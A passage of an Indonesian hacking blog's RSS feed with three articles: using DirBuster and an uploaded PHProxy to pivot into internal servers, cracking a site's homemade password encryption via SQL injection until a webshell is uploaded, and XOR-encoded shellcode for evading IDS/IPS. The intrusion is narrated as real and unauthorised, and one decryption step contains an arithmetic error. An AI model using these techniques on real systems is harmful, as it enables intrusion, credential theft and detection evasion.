<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_standard.png"><img class="aligncenter size-full  wp-image-2137" title="dirbuster_standard" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_standard.png" alt="" width="536" height="86" /></a></p>
<p style="text-align: justify;">Pilihan lain yang harus dipilih adalah starting options, yaitu di mana titik mulainya DirBuster mencari direktori. Pilihannya adalah standard start point, atau URL Fuzz. Standard start point adalah pilihan yang paling banyak digunakan karena pilihan ini berarti kita meminta DirBuster untuk menggunakan nama direktori sebagai titik awal.</p>
<p style="text-align: justify;">Pilihan yang ada ketika kita memilih Standard Start Point adalah checkbox Brute Force Dirs yang bisa dimatikan bila kita tidak ingin ingin membrute Direktori. Brute Force Files bisa dimatikan bila kita tidak ingin mencari file. Dua pilihan tersebut bisa diatur sesuai kebutuhan, apakah ingin mencari direktori dan nama file, atau direktori saja, atau nama file saja.</p>
<p style="text-align: justify;">Pilihan File extention bisa diisi dengan ekstensi file yang ingin dicari, misalnya bisa kita isi dengan php, zip, gz, tar.gz. Namun bila kita tidak ingin menggunakan ekstensi, kita bisa centang pilihan Use Blank Extention.</p>
<p style="text-align: justify;">Pilihan Be Recursive digunakan untuk membuat DirBuster melakukan pencarian secara mendalam (Deep First Search), yaitu mencari subdirektori dalam sebuah direktori, mencari sub-subdirektori dalam subdirektori dan seterusnya sampai kedalaman tertentu.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_urlfuzz.png"><img class="aligncenter size-full wp-image-2138" title="dirbuster_urlfuzz" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_urlfuzz.png" alt="" width="452" height="147" /></a>Ada kalanya kita harus membrute force nama direktori yang merupakan bagian dari parameter URL. Dalam kasus seperti itu kita bisa memakai pilihan URL Fuzz. Salah satu contoh kasusnya adalah ketika kita ingin melakukan scanning melalui sebuah web based proxy seperti <a href="http://sourceforge.net/projects/poxy/">PHPProxy</a>.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy.png"><img class="aligncenter size-full wp-image-2140" title="dirbuster_proxy" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy.png" alt="" width="443" height="228" /></a>Ketika kita ingin scanning website internal dengan IP address private dari website public yang sudah berhasil kita susupi, kita bisa gunakan PHProxy. URL PHProxy biasanya berbentuk http://somewebsite/myproxy/?q=http://situstarget/{dir}. Dalam kasus seperti ini, pilihan URL Fuzz bisa sangat berguna. Gambar di bawah ini menunjukkan skenario tersebut. Setelah seorang hacker berhasil menguasai web server public, dia akan mengupload web based proxy seperti PHProxy. Dengan proxy tersebut hacker bisa melebarkan serangannya ke arah dalam dengan menyerang web server internal yang tidak bisa dijangkau dari internet.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy_scenario.png"><img class="aligncenter size-full wp-image-2143" title="dirbuster_proxy_scenario" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy_scenario.png" alt="" width="489" height="379" /></a></p>
<p style="text-align: justify;">Walaupun tools ini sangat sederhana, tapi jangan remehkan keampuhannya. Silakan coba saja sendiri, mungkin nanti anda akan terkejut melihat banyaknya webmaster yang sembrono menaruh file/direktori sensitif di websitenya.</p>
<p style="text-align: justify;"><img src="file:///C:/DOCUME~1/parhan/LOCALS~1/Temp/moz-screenshot-2.png" alt="" /></p>
<p style="text-align: justify;">
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 1883px; width: 1px; height: 1px; overflow: hidden;">http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project#tab=Download</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Memecahkan Kriptografi dengan Chosen-Plaintext Attack</title>
		<link>http://www.ilmuhacking.com/cryptography/memecahkan-kriptografi-dengan-chosen-plaintext-attack/</link>
		<comments>http://www.ilmuhacking.com/cryptography/memecahkan-kriptografi-dengan-chosen-plaintext-attack/#comments</comments>
		<pubDate>Tue, 27 Apr 2010 07:51:27 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Cryptography]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2106</guid>
		<description><![CDATA[Beberapa waktu yang lalu saya menemukan sebuah website dengan vulnerability SQL injection. Sengaja nama website tersebut tidak saya publikasikan, karena artikel ini bukan tentang SQL injection melainkan bagaimana memecahkan enkripsi. Berbeda dengan website lainnya, website tersebut menyimpan password dalam tabel user tidak dalam bentuk one-way hash (contohnya MD5 atau SHA1), melainkan dalam bentuk ter-enkripsi. Enkripsi [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Beberapa waktu yang lalu saya menemukan sebuah website dengan vulnerability SQL injection. Sengaja nama website tersebut tidak saya publikasikan, karena artikel ini bukan tentang SQL injection melainkan bagaimana memecahkan enkripsi.</p>
<p style="text-align: justify;">Berbeda dengan website lainnya, website tersebut menyimpan password dalam tabel user tidak dalam bentuk one-way hash (contohnya MD5 atau SHA1), melainkan dalam bentuk ter-enkripsi. Enkripsi yang dipakai juga unik karena tidak memakai algoritma enkripsi yang sudah dikenal luas.</p>
<p style="text-align: justify;">Dalam kasus tersebut saya ingin melakukan privilege-escalation dari user dengan hak akses biasa menjadi user dengan hak akses penuh. Sebagai user biasa saya bisa melakukan SQLinjection untuk membaca username dan password dari tabel user. Dengan teknik tersebut saya mendapatkan encrypted password dari seorang user yang memiliki hak admin. Namun saya tidak bisa memakai password itu untuk menjadi admin sebelum saya mengerti pesan tersembunyi dalam chiphertext tersebut.<span id="more-2106"></span></p>
<p><strong>Analisa Ciphertext</strong></p>
<p style="text-align: justify;">Saya mencoba menggali informasi lebih dalam lagi tentang enkripsi unik di website tersebut. Saya mulai mengumpulkan banyak ciphertext dari user-user lainnya. Berikut beberapa ciphertext yang saya kumpulkan:</p>
<ul>
<li>804881451156416021528145</li>
<li>9436353935332546555225378546953924846491</li>
<li>11763273927622732276427712808233523172328227</li>
</ul>
<p style="text-align: justify;">Ada beberapa poin penting yang saya dapatkan dari pengumpulan ciphertext tersebut:</p>
<ul>
<li>Panjang ciphertext bervariasi</li>
</ul>
<p style="text-align: justify;">Panjang  ciphertext yang bervariasi membuat saya yakin bahwa itu bukan fungsi  hash, karena ciri khas fungsi hash adalah panjang hash yang selalu  tetap. Panjang ciphertext yang bervariasi kemungkinan besar tergantung  dari panjang atau pendeknya password user tersebut. Nanti saya akan coba  konfirmasi hipotesa ini dengan mengubah password user biasa yang saya  pakai.</p>
<ul>
<li>Ciphertext hanya terdiri dari angka</li>
</ul>
<p style="text-align: justify;">Ciphertext yang semua berupa angka membuat saya curiga bahwa ini adalah kode, semacam kode ASCII namun sudah dikalkulasi dengan formula matematis tertentu.</p>
<p style="text-align: justify;"><strong>Chosen-Plaintext Attack</strong></p>
<p style="text-align: justify;">Chosen-Plaintext attack adalah salah satu cara &#8220;code breaking&#8221; (cryptanalysis) dengan cara membandingkan dan menganalisa contoh plaintext dan ciphertextnya. Dalam chosen plaintext attack, code breaker memiliki kebebasan untuk menentukan plaintext yang diiginkannya.</p>
<p style="text-align: justify;">Untuk mendapatkan contoh plaintext dan ciphertextnya, saya melakukan langkah berikut ini setelah login sebagai seorang user biasa:</p>
<ol>
<li>Ubah Password</li>
<li>Lihat ciphertext dari tabel user dengan SQLinjection</li>
</ol>
<p style="text-align: justify;">Pertama saya ubah password menjadi &#8216;d&#8217;, kemudian saya lihat ciphertext untuk plaintext &#8216;d&#8217;. Saya ulangi langkah itu dengan contoh plaintext yang lain berkali-kali.</p>
<p style="text-align: justify;">Apa saja plaintext yang saya pilih? Berikut chosen-plaintext dan ciphertextnya yang saya pilih:</p>
<table style="height: 48px;" border="1" width="182">
<tbody>
<tr>
<th>Plaintext</th>
<th>Ciphertext</th>
</tr>
<tr>
<td>d</td>
<td>92254325</td>
</tr>
<tr>
<td>dd</td>
<td>831214121412</td>
</tr>
<tr>
<td>ddd</td>
<td>6180128012807280</td>
</tr>
<tr>
<td>dddd</td>
<td>15013601660186017601</td>
</tr>
<tr>
<td>abcd1234</td>
<td>433034273428242944308379538023819382</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Perhatikan bahwa panjang ciphertext tergantung dari panjang plaintext.  Plaintext sepanjang 1 karakter, ciphertext panjangnya 8 digit. Setiap penambahan satu karakter plaintext, ciphertext bertambah 4 digit.</p>
<p style="text-align: justify;">Saya sengaja memilih plaintext berurutan (d,dd,ddd,dddd) untuk melihat apa ada pola yang muncul. Perhatikan pada plaintext &#8220;dd&#8221;, ciphertextnya adalah 831214121412, terlihat pola berulang pada angka 412 sebanyak 2x. Dalam ciphertext ini saya menyimpulkan bahwa 412 adalah kode untuk karakter &#8216;d&#8217;.</p>
<p style="text-align: justify;">Untuk plaintext &#8220;ddd&#8221;, ciphertextnya adalah 6180128012807280, terlihat pola berulang pada angka 280 sebanyak 3 kali. Dalam ciphertext ini saya menyimpulkan bahwa 280 adalah kode untuk karakter &#8216;d&#8217;.</p>
<p style="text-align: justify;">Begitu juga pada plaintext &#8220;dddd&#8221;, ciphertextnya adalah 15013601660186017601, dengan pola berulang pada angka 601 sebanyak 4 kali. Dalam ciphertext ini, saya menyimpulkan bahwa 601 adalah kode untuk karakter &#8216;d&#8217;.</p>
<p style="text-align: justify;">Ingat bahwa untuk setiap penambahan satu karakter plaintext membuat ciphertext bertambah 4 digit. Ternyata 4 digit tersebut adalah satu digit apapun diikuti dengan 3 digit kode karakter. Chosen plaintext dalam contoh sebelumnya saya pecah-pecah menjadi kelompok 4 digit dipisahkan dengan karakter &#8216;#&#8217; dan dari 4 digit tersebut saya pecah dua menjadi 1 digit dan 3 digit dengan karakter &#8216;-&#8217;.</p>
<table style="height: 164px;" border="1" width="471">
<tbody>
<tr>
<th>Plaintext</th>
<th>Ciphertext</th>
<th>Kode</th>
</tr>
<tr>
<td>d</td>
<td>9-225#4-325</td>
<td>325 = &#8216;d&#8217;</td>
</tr>
<tr>
<td>dd</td>
<td>8-312#1-412#1-412</td>
<td>412 = &#8216;d&#8217;</td>
</tr>
<tr>
<td>ddd</td>
<td>6-180#1-280#1-280#7-280</td>
<td>280 = &#8216;d&#8217;</td>
</tr>
<tr>
<td>dddd</td>
<td>1-501#3-601#6-601#8-601#7-601</td>
<td>601 = &#8216;d&#8217;</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Oke sampai disini saya sudah mendapatkan titik terang. Saya sudah mengetahui komposisi dan posisi tiap karakter pada plaintext ketika dipetakan pada ciphertext. Tapi masih ada yang belum jelas, dalam contoh tersebut kode untuk krakter &#8216;d&#8217; ternyata berbeda-beda, pada contoh pertama kodenya adalah 325, pada contoh lain kode untuk &#8216;d&#8217; adalah 412, 280 dan 601.</p>
<p style="text-align: justify;">Kini saya harus mengetahui bagaimana hubungan antara kode yang berurutan, untuk itu saya memilih plaintext &#8220;abcd1234&#8243; dengan ciphertext 433034273428242944308379538023819382. Mari kita pecah ciphertext tersebut menjadi kelompok 4 digit seperti tabel di atas.</p>
<p style="text-align: justify;">4-330#3-427#3-428#2-429#4-430#8-379#5-380#2-381#9-382</p>
<p style="text-align: justify;">Dari pengelompokan tersebut kita bisa simpulkan bahwa:</p>
<p style="text-align: justify;">427 = &#8216;a&#8217;, 428 = &#8216;b&#8217;, 429 = &#8216;c&#8217;, 430 = &#8216;d&#8217;, 379 = &#8217;1&#8242;, 380 = &#8217;2&#8242;, 381=&#8217;3&#8242;, 382=&#8217;4&#8242;</p>
<p style="text-align: justify;">Perhatikan bahwa kode-kode tersebut sengaja saya pilih berurut &#8216;a&#8217;-&gt;&#8217;b'-&gt;&#8217;c'-&gt;&#8217;d&#8217; dan ternyata ciphertextnya pun ikut berurut 427-&gt;428-&gt;429-&gt;430. Begitu juga untuk &#8217;1&#8242;-&gt;&#8217;2&#8242;-&gt;&#8217;3&#8242;-&gt;&#8217;4&#8242;, ciphertextnya juga berurut 379-&gt;380-&gt;381-&gt;382. Saya mencurigai bahwa enkripsi ini memakai kode ASCII karena memang kode ASCII untuk &#8216;abcd&#8217; dan &#8217;1234&#8242; berurutan.Kode ASCII untuk  &#8216;a&#8217;=97, &#8216;b&#8217;=98,&#8217;c'=99,&#8217;d'=100,&#8217;1&#8242;=49,&#8217;2&#8242;=50,&#8217;3&#8242;=51,&#8217;4&#8242;=52.</p>
<p style="text-align: justify;">Terlihat ada jarak yang cukup jauh antara kode ASCII dan kode pada ciphertext. Contohnya &#8216;a&#8217; dengan ASCII 97, dalam ciphertext dikodekan dengan 427, selisihnya 427-97 adalah 330. Begitu juga dengan &#8217;1&#8242; dengan ASCII 49, dalam ciphertext dikodekan menjadi 379, dengan selisih 379-49 adalah 330. Ternyata kalau dilihat semua kode pada ciphertext juga berjarak 330 dengan kode ASCII. Pertanyaannya, darimana angka 330 ini muncul?</p>
<p style="text-align: justify;">Mari kita lihat sekali lagi ciphertext dari &#8216;abcd1234&#8242; (setelah dikelompokkan 4 digit):</p>
<p style="text-align: justify;">4-330#3-427#3-428#2-429#4-430#8-379#5-380#2-381#9-382</p>
<p style="text-align: justify;">Adakah angka 330 dalam ciphertext tersebut? Aha, ternyata ada! Ingat bahwa plaintext satu karakter, ciphertextnya adalah 8 digit, padahal tiap karakter dikodekan dalam 4 digit, jadi ada kelebihan 4 digit. Ternyata pada kelompok 4 digit pertama mengandung offset dengan kode ASCII, yaitu pada digit ke-2 hingga ke-4.</p>
<p style="text-align: justify;">Jadi sekarang misteri enkripsi ini terpecahkan. Mari kita coba dekrip contoh ciphertext yang saya kumpulkan di awal:</p>
<ul>
<li>804881451156416021528145</li>
</ul>
<p style="text-align: justify;">Pertama kita kelompokkan menjadi kelompok 4 digit: 8-048#8-145#1-156#4-160#2-152#8-145. Kelompok 4 digit pertama 8048 menunjukkan offset yaitu 048. Kelompok 4 digit kedua, 8145 menunjukkan kode karakter pertama adalah 145, dikonversi ke kode ASCII menjadi 145-048=97. ASCII 97 ini adalah &#8216;a&#8217;. Jadi kita temukan karakter pertama &#8216;a&#8217;. Berikutnya, 156-48=108, yaitu kode untuk &#8216;l&#8217;. Berikutnya, 160-48=112, yaitu kode untuk &#8216;p&#8217;. Berikutnya 152-48=104, yaitu kode untuk &#8216;h&#8217;. Berikutnya 145, sama dengan karakter pertama, &#8216;a&#8217;. Jadi hasil dekripsinya adalah &#8216;alpha&#8217;.</p>
<ul>
<li>9436353935332546555225378546953924846491</li>
</ul>
<p style="text-align: justify;">Kita kelompokkan menjadi kelompok 4 digit: 9-436#3-539#3-533#2-546#5-552#2-537#8-546#9-539#2-484#6-491. Karakter pertama: 539-436=103=&#8217;g&#8217;. Karakter ke-2: 533-436=97=&#8217;a&#8217;. Karakter ke-3: 546-436=110=&#8217;n&#8217;. Karakter ke-4: 552-436=116=&#8217;t&#8217;. Karakter ke-5: 537-436=110=&#8217;e&#8217;. Karakter ke-6 sama dengan ke-3, &#8216;n&#8217;. Karakter ke-7 sama dengan karakter ke-1, &#8216;g&#8217;. Karakter ke-8: 484-436=48=&#8217;0&#8242;. Karakter ke-9: 491-436=55=&#8217;7&#8242;. Jadi hasil dekripsinya adalah &#8216;ganteng07&#8242;.</p>
<p style="text-align: justify;">Pada akhirnya dengan mengetahui teknik enkripsi yang dipakai, saya berhasil mendapatkan password seseorang dengan hak administrator. Tidak lama kemudian GAME OVER, webshell uploaded <img src='http://www.ilmuhacking.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: justify;"><strong>Kesimpulan</strong></p>
<p style="text-align: justify;">Pelajaran yang bisa diambil dari kasus tersebut adalah bahwa membuat algoritma kriptografi yang kuat tidaklah mudah, jangan pernah memakai enkripsi buatan sendiri, walaupun algoritmanya anda rahasiakan. Selalu gunakan algoritma enkripsi terbuka yang sudah teruji oleh para ahli.</p>
<p style="text-align: justify;">Sedangkan untuk password, sebaiknya jangan gunakan enkripsi, tapi gunakan one-way hash function yang kuat seperti SHA1. Enkripsi tidak cocok dipakai untuk menyimpan password karena ketika terjadi compromised, maka semua password yang ada di tabel akan bisa diambil attacker dengan cara menjalankan rutin dekripsi yang pasti tersedia di salah satu file script seperti PHP pada web tersebut.</p>
<p style="text-align: justify;">Walaupun algoritma dekripsinya anda rahasiakan, suatu saat ketika terjadi compromised, seorang attacker akan bisa melakukan dekripsi dengan membaca source code php untuk men-dekrip password. Biasanya rutin dekripsinya tidak jauh dari file php yang terkait dengan halaman login.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=SWAbJYNJsX0:FUVgobVIoIc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=SWAbJYNJsX0:FUVgobVIoIc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=SWAbJYNJsX0:FUVgobVIoIc:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/cryptography/memecahkan-kriptografi-dengan-chosen-plaintext-attack/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Belajar Membuat Shellcode (III): Semi-Polymorphic Shellcode</title>
		<link>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-iii-semi-polymorphic-shellcode/</link>
		<comments>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-iii-semi-polymorphic-shellcode/#comments</comments>
		<pubDate>Tue, 06 Apr 2010 07:36:39 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2033</guid>
		<description><![CDATA[Sebelumnya saya minta maaf dulu karena absen cukup lama menulis di blog ini. Saya terakhir menulis tentang  pembuatan shellcode, untuk local  maupun remote exploit. Seharusnya kali ini saya menulis mengenai cara memakai shellcode itu dalam exploit, namun ada satu hal yang menarik untuk ditulis sebelum masuk ke pembahasan exploit, yaitu semi-polymorphic shellcode. Nanti pada artikel [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Sebelumnya saya minta maaf dulu karena absen cukup lama menulis di blog ini. Saya terakhir menulis tentang  pembuatan shellcode, untuk local  maupun remote exploit. Seharusnya kali ini saya menulis mengenai cara memakai shellcode itu dalam exploit, namun ada satu hal yang menarik untuk ditulis sebelum masuk ke pembahasan exploit, yaitu semi-polymorphic shellcode. Nanti pada artikel selanjutnya saya akan bahas true-polymorphic shellcode.</p>
<p style="text-align: justify;"><strong>Apa itu Polymorphic Shellcode</strong></p>
<p style="text-align: justify;">Secara bahasa polymorphic artinya banyak bentuk. Polymorphic shellcode adalah shellcode yang mempunyai banyak bentuk. Dari satu induk shellcode yang sama bisa dilahirkan banyak sekali shellcode yang berbeda-beda dalam level bit, maksudnya bila dilihat bit per bit semua shellcode tersebut berbeda total, padahal semua berasal dari satu induk.</p>
<p><span id="more-2033"></span><br />
<div id="attachment_2039" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/03/cow-polymorphic-800.png"><img class="size-full wp-image-2039" title="cow-polymorphic-800" src="http://www.ilmuhacking.com/wp-content/uploads/2010/03/cow-polymorphic-800.png" alt="" width="320" height="238" /></a><p class="wp-caption-text">source:ncbray.blogspot.com</p></div></p>
<p style="text-align: justify;">Polymorphic shellcode diperlukan untuk bisa lolos dari deteksi Intrusion Detection/Prevention System. IDS/IPS memeriksa paket data yang lewat. Bila paket tersebut mengandung data yang dianggap berbahaya, maka satpam akan membunyikan alarm atau mencegah paket tersebut lewat.</p>
<p style="text-align: justify;">Perhatikan ilustrasi berikut ini.</p>
<blockquote>
<p style="text-align: justify;">Teroris bernama Bush (bukan nama sebenarnya), sebelumnya pernah berhasil meledakkan sasaran dan membunuh ribuan bayi di Irak,  namun kini fotonya sudah diketahui semua orang sehingga dia tidak leluasa lagi melakukan serangan berikutnya.</p>
<p style="text-align: justify;">Agar serangan berikutnya berjalan lancar, Bush harus mengubah wajahnya dengan operasi plastik, menumbuhkan kumis, mengubah rambut dsb. Dengan wajah yang berbeda total, maka polisi tidak akan mengenali Bush, dan Bush bisa melakukan serangan dengan lancar.</p>
<p style="text-align: justify;">Dalam setiap serangannya Bush harus mengubah wajahnya agar berbeda dari wajahnya pada serangan-serangan sebelumnya.</p>
</blockquote>
<p style="text-align: justify;">Begitulah ilustrasi dari polymorphic shellcode, ketika sebuah shellcode sudah pernah dipakai dan signaturenya (ciri-ciri) sudah di-blacklist oleh IDS/IPS, maka shellcode tersebut sudah berkurang efektivitasnya. Bila shellcode yang sama dipakai lagi, maka IDS/IPS akan dengan mudah mendeteksi dan mencegah serangan itu.</p>
<p style="text-align: justify;">Untuk menipu IDS/IPS maka shellcode sebelum dipakai dalam exploit harus mengalami mutasi yaitu mengubah bentuk fisiknya tanpa mengubah fungsinya. Ingat shellcode adalah kumpulan byte opcode yang merepresentasikan instruksi assembly/bahasa mesin. Polymorphic shellcode berarti bahwa instruksi assembly bisa berubah menjadi banyak macam tetapi tidak mengubah fungsi utama dan hasil akhirnya.</p>
<p style="text-align: justify;">Lho kok bisa? Mudah saja, sebagai contoh bayangkan bahwa algoritma utamanya adalah formula A+B*2. Kita bisa mutasi-kan formula itu menjadi banyak bentuk:</p>
<ul>
<li>B*2+A</li>
<li>B+B+A</li>
<li>B+1+B+A-1</li>
<li>B*2+B*3+A-B*2-B</li>
</ul>
<p style="text-align: justify;">Semua mutasi di atas menghasilkan hasil akhir yang sama persis, walaupun formulanya jauh berbeda. IDS/IPS yang hanya mem-blacklist &#8220;A+B*2&#8243; tidak akan menganggap paket berisi &#8220;B+B+A&#8221; atau &#8220;B+1+B+A-1&#8243; sebagai paket berbahaya karena tidak ada dalam kamus blacklistnya, padahal semuanya sama saja hanya bentuknya saja yang berbeda.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/03/faces4.jpg"><img class="aligncenter size-full wp-image-2049" title="faces4" src="http://www.ilmuhacking.com/wp-content/uploads/2010/03/faces4.jpg" alt="" width="400" height="287" /></a></p>
<p style="text-align: justify;">Gambar di atas adalah software untuk mengubah bentuk wajah dengan mengganti bentuk mata, alis, rambut, kumis dsb. Semua shellcode bisa di-mutasi menghasilkan shellcode baru yang berbeda namun tetap dengan fungsi yang sama menggunakan script &#8220;Mutation Engine&#8221;. Mutation engine ini bisa dibayangkan mirip dengan gambar di atas, sebuah software yang mempunyai fasilitas untuk mengubah-ubah bentuk mata, alis, kumis, hidung untuk membuat wajah baru yang berbeda. Namun tentu saja mutation engine melakukan mutasi secara otomatis, tanpa harus menunggu inputan/klik dari pengguna.</p>
<p style="text-align: justify;"><strong>Semi Polymorphic Shellcode<br />
</strong></p>
<p style="text-align: justify;">Saya akan mulai dengan membuat shellcode yang sifatnya semi polymorphic. Semi disini berarti shellcode yang dihasilkan tidak total berbeda antar hasil mutasi dari satu shellcode yang sama. Masih ada consecutive byte, byte yang berurutan yang bisa dijadikan ciri khas (signature) dari shellcode tersebut.</p>
<p style="text-align: justify;">Semua polymorphic shellcode dibuat dengan menggunakan teknik encoding/decoding dengan prosedur decoder ditempatkan di awal shellcode, hanya bedanya pada semi polymorphic, prosedur decoder relatif statis, tidak ikut ter-mutasi. Sedangkan pada true polymorphic shellcode, prosedur/rutin decodernya juga ikut termutasi sehingga lebih sulit dideteksi IDS/IPS.</p>
<p style="text-align: justify;">Algoritma encode/decode yang dipakai tidak rumit, hanya menggunakan operasi logika XOR. Sifat dari logika XOR adalah reversible, jika suatu bilangan di-XOR dua kali dengan kunci yang sama, maka akan menghasilkan nilai awalnya.</p>
<p style="text-align: justify;">Contoh:</p>
<p style="text-align: justify;">11001 (25) XOR 11100 (28) = 00101 (5) XOR 11100 (28) = 11001 (25)</p>
<p style="text-align: justify;">Kenapa diperlukan decoder? Ingat shellcode adalah kumpulan byte opcode bahasa mesin, jadi bila shellcode tersebut di-encode maka byte opcode menjadi opcode yang berbeda atau menjadi opcode yang tidak dikenal prosesor. Decoder bertugas untuk mengembalikan byte shellcode yang ter-encode menjadi normal kembali sehingga bisa dikenal dan dieksekusi prosesor.</p>
<p style="text-align: justify;">Contohnya bila dalam shellcode mengandung byte opcode \xCD\x80 yang dikenal prosesor sebagai interrupt no 80 hexa. Dalam proses mutasi, opcode CD80 di-encode dengan XOR 5 menjadi \xC8\x85 yang tidak dikenal oleh prosesor (bukan instruksi yang valid). Agar shellcode bisa dieksekusi maka decoder harus mengembalikan \xC8\x85 menjadi normal kembali \xCD\x80.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/04/shellcode-encoder.png"><img class="aligncenter size-full wp-image-2052" title="shellcode-encoder" src="http://www.ilmuhacking.com/wp-content/uploads/2010/04/shellcode-encoder.png" alt="" width="624" height="340" /></a></p>
<p style="text-align: justify;">Gambar di atas memperlihatkan proses mutasi dari original shellcode menjadi shellcode yang telah termutasi. Mutation engine di atas menggunakan satu decoder yang sama dan menghasilkan banyak shellcode sesuai dengan key yang dipakai. Key ini dipakai untuk encode dan decode menggunakan operasi logika XOR. Setiap shellcode hasil mutation engine terdiri dari decoder di awal dan shellcode yang ter-encode.</p>
<p><b>Menghindari Karakter Terlarang</b></p>
<p align="justify">
Umumnya shellcode di-injeksi melalui input program sebagai tipe data string. Secara internal string adalah array of character yang diakhiri dengan karakter NULL (&#8216;\0&#8242;). Byte NULL tidak boleh ada dalam shellcode karena bisa membuat shellcode gagal di-injeksi secara penuh. Byte NULL adalah salah satu yang disebut dengan &#8216;bad characters&#8217;, yaitu karakter yang terlarang ada dalam shellcode.
</p>
<p align='justify'>
Bad characters bisa berbeda-beda, tergantung dari aplikasi yang akan di-exploit. Bila dalam aplikasi tersebut, keberadaan karakter new line (\n) dan enter (\r) membuat shellcode gagal terinjeksi dengan sempurna, maka character itu jangan sampai ada dalam shellcode.
</p>
<p align='justify'>
Namun terkadang sulit untuk menghindari adanya karakter terlarang dalam shellcode. Teknik encoding shellcode ini bisa juga dipakai untuk menghilangkan karakter terlarang. Jadi teknik ini tidak hanya berguna untuk menghindari tertangkap IDS/IPS tapi juga membantu menghindari karakter terlarang.
</p>
<p style="text-align: justify;"><strong>JMP/CALL GetPC</strong></p>
<p style="text-align: justify;">Instruksi yang pertama dieksekusi adalah decoder. Decoder ini bertugas untuk melakukan decode dengan operator XOR menggunakan kunci yang sama pada waktu encoding. Masalahnya adalah shellcode ini bisa diload di alamat memori berapapun, jadi tidak bisa di-harcode lokasinya sejak awal dalam rutin decoder. Decoder harus tahu pada saat dieksekusi (run-time), di mana lokasi memori tempat penyimpanan shellcode ter-encode.</p>
